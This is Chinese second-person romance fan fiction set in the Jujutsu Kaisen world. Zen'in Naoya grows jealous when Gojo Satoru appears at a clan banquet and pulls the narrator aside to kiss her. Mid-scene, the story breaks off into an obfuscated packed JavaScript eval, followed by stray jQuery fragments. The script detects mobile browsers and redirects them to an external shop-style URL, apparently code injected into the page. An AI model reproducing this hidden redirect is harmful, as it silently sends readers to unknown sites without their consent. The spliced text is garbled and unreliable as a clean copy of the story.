你其实挺烦咒术界没完没了的各种宴会,虽然乐岩寺家有专人为你梳理头发和穿访问着,甚至打扮一下你觉得还怪好看的,但是你就是觉得不太高兴。
这种没有什么意义的宴会,不管主办方是禅院还是加茂或是总监部,场地总是在严肃灰暗阴湿的和室,没有什么好吃的食物,更别提你喜欢的巧克力喷泉和蛋糕塔,那些大人物们总有说不完的话,就好像一辈子没见过对方一样,明明大家都在京都……
你就摆着一张‘好烦’的脸,跟着换了纹付的加茂宪纪,一前一后、一高一矮地进入会场。
你们前脚到达,直哉后脚就跟了进来,他很是刻意地站到了你和宪纪的中间,他甚至都没换正式的礼服,还是那身日西结合的大正风穿搭。可能是因为你确实偏爱他,即使他的行为有些乖张,你还是觉得他长得可真好看,即使二十六七岁,看起来还是和十八岁的你们像同龄人,不说话的直哉整个人都透露出京都贵公子的矜贵,除了身材确实有些壮硕外一切都让你满意,但是那是禅院基因所以没有办法。
“加茂君,多谢你把我家阿离带来,还特意将她带在身边,你人可真好啊。”直哉可以说是皮笑肉不笑,不友善都要写在脸上了。
“无妨,我和浅川同学本来就是一道来的。”加茂宪纪当然也能感受到禅院直哉莫名其妙的敌意,但是因为禅院直哉的名声一直就那样,他没有感到被冒犯,只如实回答。
你心说直哉又来了,这毕竟是个正式场合,可不能给人看笑话,于是你偷偷伸手去捏了一下直哉的手,让他不要针对你的同学。
你只是想捏一下,直哉却直接攥住了你的手,还捏的紧紧的,让你想抽都抽不出来。
“那么我先……”直哉想带离你,会场入口处却传来一些低低的惊呼,他刚想冷嘲他们大惊小怪,却发现你也愣住了。
骚乱的源头是一头白毛的高个子男子,那标志性的小圆墨镜和黑色制服,不是御三家的五条家家主五条悟还有谁?
你打量着他,发现他和直哉一样没有穿正式和服,甚至是更为随意的高专教师制服,长手长脚的他大大咧咧地走了进来,和室在他的映衬下显得更加矮□□仄,他进门时甚至下意识弯了一下腰。
看到此情此景,你有些不高兴,毕竟一米八多的直哉和加茂同学都能给你身高的压力,现在又出现了一个和门几乎一样高的,你开始在心中埋怨未见面的父母,没能给你一米七的身高。
你的微微蹙眉在直哉眼里就是‘专注在看五条悟’,于是他下意识地往前一步挡住了你的视线,并自语:“悟君怎么也来了,他不是一直在东京吗?”
被他的称呼提醒,你突然想起来,你的竹马最最崇拜的人就是五条悟和禅院甚尔,后者已故,那么眼前的五条悟就是他唯一崇拜之人。
你有些遗憾,恨自己不能是个高个子的特级咒术师,这样你就能看到直哉崇拜你的罕见模样了。
宪纪虽然并没有特别崇拜某人,但是他也同样意外,五条悟是从来不参加御三家的各种聚会的,今天他来的目的是什么?
“哟。老爷子不在啊。”五条悟一边敷衍地应付着各种和服大叔的问好搭讪,一边往你的方向走来,你能感受到牵着你的手逐渐收紧,看来直哉看到偶像非常高兴,你非常用力地将手偷偷抽了出来,好在直哉的注意力被吸引,没有孩子气地再来抓你。
“好漂亮的小布偶猫。”在你还在胡思乱想的时候,五条悟已经到了你们的面前,他微微俯身弯腰,脑袋都几乎要贴到你的脸上,你下意识地退后一步,对方却拉下了墨镜。
你怔愣住。
五条悟的眼睛好像是海洋,又好像是天空,你能从他清透的眼睛里看到自己的倒影,你似乎看到了自己被大海包裹在了中心,这场景美丽静谧,让你都差点忘记了呼吸。
“老爷子的外孙女?怎么长那么大了。上次见你还是个小豆丁呢,现在变成大美人了呀。”五条悟用手虚虚地比划了一下,和那张依然少年的脸不同,他的声线已趋向于成熟男性,却因语气活泼而别有一丝反差的吸引力。
“悟君,你怎么来京都了?”直哉打断了你和五条悟的对视,也岔开了略显轻浮的对话,他崇拜强者不假,但是这不代表着强者可以撬他墙角。
宪纪对五条悟也是几乎没有见过的状态,毕竟他和你是同龄人,不过作为加茂嫡流的少主,他非常礼貌地问好了五条家主五条悟。
五条悟很随意地回应了两人,那双苍蓝的六眼还如同黏着一般盯着你。
“五条先生……”你微微回神,对于这样的距离和注视有些不适,但是因为那实在是罕见的美丽,你一时间没办法说出什么话语来。
“悟君,请不要一直盯着我的……”直哉想说女朋友,但是你们似乎从来没有确认过关系,说‘我的女人’有概率被你反驳,他竟一时语塞,那双锐利的美丽凤眼罕见地出现了一丝不知所措。
“哈哈,抱歉哦,小离实在是让我意外啊……女大十八变直接变成仙女了。”五条悟并不在意直哉的敌意,他伸出大手在你的头上很自来熟地揉了一下,然后就在直哉几乎想吃人的眼神里哈哈大笑着闪开,去骚扰下一个人了。
“五条家主也来了……”宪纪有些疑惑地自语,“这只是一个很普通的聚会吧。”虽然这次聚会是加茂家举办的,但是作为继承人的他也没觉得有什么值得五条悟来的。
“大概是正好在东京吧。”你认为他不是特意来的,但是他可能想找你的外公,而你的外公‘正好’有事不来,好像避着五条悟似的。
不过你并没有继续和宪纪讨论的机会,直哉不管不顾地把你拖走,这种幼稚的行为让你有些不满,但是你们的力量差距实在是悬殊,你看到宪纪似乎想阻拦一下,但是看到你平静的表情后他停下了动作。
是的,你都已经习惯了,而且没人会觉得禅院嫡子会在加茂宴会上对你下杀手,所以宪纪给了你一个爱莫能助的眼神后,就放任那个论外之男把你带走了。
“干嘛啊直哉。”你拍打着他的胳膊,人却已经被拉到了无人之处的墙边,被他的身体阴影完全罩住。
“你干嘛一直看着五条悟,好看吗?”他此刻都忘记了那是他喜欢的‘悟君’,醋意都要翻腾成海,他双手撑着墙壁将你笼罩,“比我好看吗?”
“没有一直看,很难得见到才多看几眼。”你对他的过度敏感有些不满,“看到总统之类的人物出现在宴会上,你难道不看吗?”
你的话显然有点道理,直哉居然被你问住了,他一时语塞,但是脑海里又翻腾出你和五条悟‘深情’对视的半分钟,于是他重振自己的主张:“反正你不许盯着其他男人看,特别是五条悟。”
“只许你喜欢吗?”你认为自己一针见血,直哉确实吃醋,但是可能是吃了两边的醋,他没办法要求五条悟,所以来捏你这个软柿子,“你还叫他悟君!我都叫了五条先生呢。”
“谁喜欢他!”直哉明显恼羞成怒,他伸手捏住你的下巴,没用力气地轻轻抬起,让你和他的距离更近了一些,气氛也有些粘稠。
你觉得他要亲你了,好家伙,他肯定是想借着生气多亲几口。
你预判了他的行为,他确实亲了下来,没有平时小心翼翼的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055184|194870||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
舔舐和吸吮,他直接攻城略地,和你交换唇齿间的津液,把你亲到缺氧,衣襟都乱了。
亲完直哉明显消气了,他看着你粉白脸蛋上的潮红和红的滴血的耳垂非常满意,他伸手仔细为你整理领子和头发,在你有些怒气冲冲的眼神中居然笑出声,完全是得逞了。
“晚上和我一起走,坐我的车回去。”他吩咐,回去指的是回禅院。
“直哉!你也差不多一点,哪有人每天都……”你想拒绝,却没办法将话说下去,因为他只说了回他家,并没有说别的,如果你先往那方面提,他肯定会恶劣地笑着嘲讽你。
“可是很难受啊。”直哉罕见没有抓住你话里的漏洞,而是露出一丝小动物一般的委屈且老实来,他伸手把你拉进怀里抱着,附耳问你能感受到吗?
即使隔着宽大的射箭袴,你也能感觉到。
“再说,再说。”你如同被烫到一般挣脱了他的怀抱,如果没什么事你当然能跟他回去,但是五条悟来了京都,你的外公又好似故意躲着他,你得回家问问情况。
并不是你很关心五条悟,而是你很关心外公,虽说打电话也能说,但是你的外公是老狐狸,你需要当面观察他的表情和语气才能得到完整的信息。
考虑到晚上的拒绝会让直哉炸毛,你只能耐心解释了一下自己的想法,因为是正事,他也没办法硬拦着你。看着你竹马像淋雨小狗一样失望的表情,你只能开始画大饼。
“明天晚上我下课后就回来,可以吗?”
直哉颔首,并讨价还价:“那明天不许怕痒不许躲。”
虽然对方是你的竹马,但是这样直白说出来还是让你感觉到了羞涩,而且你不知道他是不是想到了什么稀奇古怪的点子,不过这并不是很大的要求,你胡乱应答并不去看他:“好吧。”
“那我再亲会儿。”见你答应下来,他不由分说地又伸手把你捞到了怀里,低头就亲你的额头、脸颊、嘴唇,反正能亲的地方都又再狂亲了一遍,痒的你几乎要扭成麻花,但是被禁锢住了。
十五分钟后你俩又回到了会场,你的发髻是直哉重新给你梳理的,他其实是一个非常心灵手巧且仔细的人,除了专业的女眷并没人看得出来这不是职人的手艺。
五条悟已经离开,许多人还在窃窃私语讨论着他,从碎片一般的谈论中你得知他只是来喝了点饮料吃了几口和果子,说着难吃就走了。
他的目标应该是你的外公,你如此这般思索,并没来由地想到了宿傩容器。
‘他是不是希望外公支持他,劝说高层的其他人不处死宿傩容器。’你认为自己完全是真相了,除此以外,你实在是想不出那样一个闪闪发光的男人为什么要找一个老爷子。
“喏。”直哉随手从侍者的托盘里给你拿了一杯加了红枣的温热红茶。
你接过啜饮一口,然后抬头看他。
虽然五条悟很好看,但是你认为直哉也很漂亮:长睫毛、凤眼、白嫩、高鼻梁,所有好看的属性都堆叠在他身上了。你这般想着,忍不住伸手用小拇指勾了一下他的手。
“干嘛……”他小声回应你,明显也是有点羞涩,不过他很快就找回了自己的武装,“被我迷住了吗?那今晚别回乐岩寺那边了……”
‘不仅好看,而且这人很好懂。’他的反应完全在你的预测之中,他会说什么话你其实都能背诵出来,对于这样一个完全属于你,又不太聪明的漂亮竹马,你感觉到了前所未有的满意。
你认为直哉什么都好,只是有些精力过剩,另外好像暂时没有什么缺点了,但是你相信这只是新鲜感的缘故,过段时间会正常的。